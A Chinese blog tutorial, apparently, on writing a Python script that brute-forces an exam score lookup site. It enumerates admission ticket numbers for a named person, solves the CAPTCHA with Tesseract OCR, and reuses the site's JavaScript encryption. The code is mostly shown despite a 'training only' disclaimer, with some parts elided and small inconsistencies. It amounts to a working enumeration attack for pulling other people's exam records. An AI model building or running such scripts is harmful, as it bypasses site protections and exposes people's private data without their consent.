前提:本文仅作为技术训练,不可利用技术做非法的事。


某考试的成绩查询页面如下:查询成绩需要的数据有准考证号或者身份证、考生姓名、验证码。现在使用python来实现自动查询指定人员的考试成绩(不知道准考证号的前提下)。主要使用的包有Tesseract-OCR、PIL、execjs、pytesseract、BeautifulSoup

查询页面:

入围名单:

包的功能介绍:

  • execjs:由于查询成绩参数加密后发送给服务器,这里使用调用原网站的加密函数加密查询字符串。
  • BeautifulSoup:建立爬取的网页的文档树。
  • PIL:中的Image函数读取下载下来的验证码图片,实例化后传给Tesseract-OCR识别。
  • Tesseract-OCR:读取图片验证码,识别图片中的数字(主要其中有图片的训练集)。
  • pytesseract:tesseract_cmd来初始化Tesseract-OCR,然后使用image_to_data()方法识别图片中的数字,该方法接受Image实例化后的图片对象为参数。

第一步:安装环境

主要介绍Tesseract-OCR安装,其他包可通过pip+包名自行安装。

安装完成后将Tesseract-OCR添加进path环境变量;然后新建环境变量TESSDATA_PREFIX:安装目录\Tesseract-OCR\tessdata。然后重启计算机。

cmd输入tesseract显示如下则安装成功:


第二步:登陆网站收集信息

使用正确的账号信息登陆,收集header、cookies及其他信息(例如本次登陆就使用到加密的js)。

  • 加密js信息:(根据发送的查询字符串是否需要加密来决定是否添加
JSCode = r'''
/*
*(1).加密:
* 第一步:strEncode(data,firstKey,secondKey,thirdKey);
*(2).解密:
* 第一步:strDecode(data,firstKey,secondKey,thirdKey);
*/
/*
* encrypt the string to string made up of hex
* return the encrypted string
*/ 中间内容略 /*end*/ '''
  • header相关信息
header = {
'Accept': 'image/webp,image/apng,image/*,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'keep-alive',
'Cookie': 'JSESSIONID=E9A7EF615C2A7FC0D99711C8697D158B',
'Host': '***.***.***.***',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'
}
  • 在python中可以使用如下方式调用js中的代码:
#装载
CTX = execjs.compile(JSCode) #调用
CTX.call('函数名', '实参')

第三步:模拟登陆(考号+姓名+验证码)

为了将准考证号中隐藏的数字找出来,我们需要不断遍历。直到考号姓名对应。

这里的验证码在访问成绩页面时就产生了,所以需要所以使用requests.get(url1, headers=header)来将验证码下载到本地,然后识别出来,接着在模拟查询按钮动作 requests.get(url2, headers=header)

,将所有信息塞入查询字符串进行查询,由于是遍历查询,一旦循环产生的考号与已知的姓名匹配,就会返回结果,查询结束。

  • 模拟登陆,并返回查询结果req2.text
def get_content(number='', name='张三'):#填入一个正确的默认信息
number = CTX.call('strEncode', number) #调用js加密数字,以下类同
name = CTX.call('strEncode', name)
url1 = 'http://***.***.***.***/2019****/register/image.jsp'
header = null #略
while True:
try:
req1 = requests.get(url1, headers=header)
img = req1.content
with open('./yanzhengma.png', 'wb') as f:
f.write(img)
im = Image.open(r'D:\PycharmProjects\untitled1\yanzhengma.png')
pytesseract.pytesseract.tesseract_cmd = r'C:\Program Files (x86)\Tesseract-OCR\tesseract.exe'
num = pytesseract.image_to_data(im) #识别验证码中的数字
input_yznumber = num[-4:] #将结果的最后四位数字取出,即验证码 yznumber = CTX.call('strEncode', input_yznumber)
url2 = 'http://***.***.***.***/2019****/printInfo.do?activity=cjddy&number=' + number + '&name=' + name + '&yznumber=' + yznumber
req2 = requests.get(url2, headers=header)
req2.encoding = 'utf-8'
break
except socket.timeout as e:
print('3:', e)
time.sleep(random.choice(range(8, 15)))
except socket.error as e:
print('4:', e)
time.sleep(random.choice(range(20, 60)))
except http.client.BadStatusLine as e:
print('5:', e)
time.sleep(random.choice(range(30, 80)))
except http.client.IncompleteRead as e:
print('6:', e)
time.sleep(random.choice(range(5, 15)))
return req2.text
  • 使用BeautifulSoup遍历文档树:

遍历文档树后查询指定dom(本例是div)下的内容:

def get_data(xml_data):
bs = BeautifulSoup(xml_data, "html.parser")
scores = bs.find_all('div', string=re.compile('')) #考号的前几位
return scores
  • 启动程序,遍历查询
if __name__ == "__main__":
for kc in range(3000, 4601): #考场号 范围可从0-9999 根据考号规则改变
for zwh in range(0, 1000): #最大座位号是999
if len(str(zwh)) == 1:
number = ''+str(kc)+''+str(zwh)
elif len(str(zwh)) == 2:
number = ''+str(kc) + ''+str(zwh)
else:
number = ''+str(kc) + str(zwh)
print("number = ", number)
zhunkaohao = get_data(get_content(number='' + str(zwh)+'', name='焦作'))
if zwh % 50 == 0:
t_zhunkaohao=get_data(get_content(number='', name='张三')) #每50次返回一个正确结果,来确保查询正确性
print("***************"+str(t_zuoweihao))
if zhunkaohao != []:
print(zhunkaohao)
break #查询成功 跳出循环

由于涉密,这里就不附上源码了。

需要引入以下包:

# coding: utf-8
import socket
from bs4 import BeautifulSoup
import requests, random, time, http
import execjs
import re
import pytesseract
from PIL import Image

参考:

基于tesseract-OCR进行中文识别

加密js

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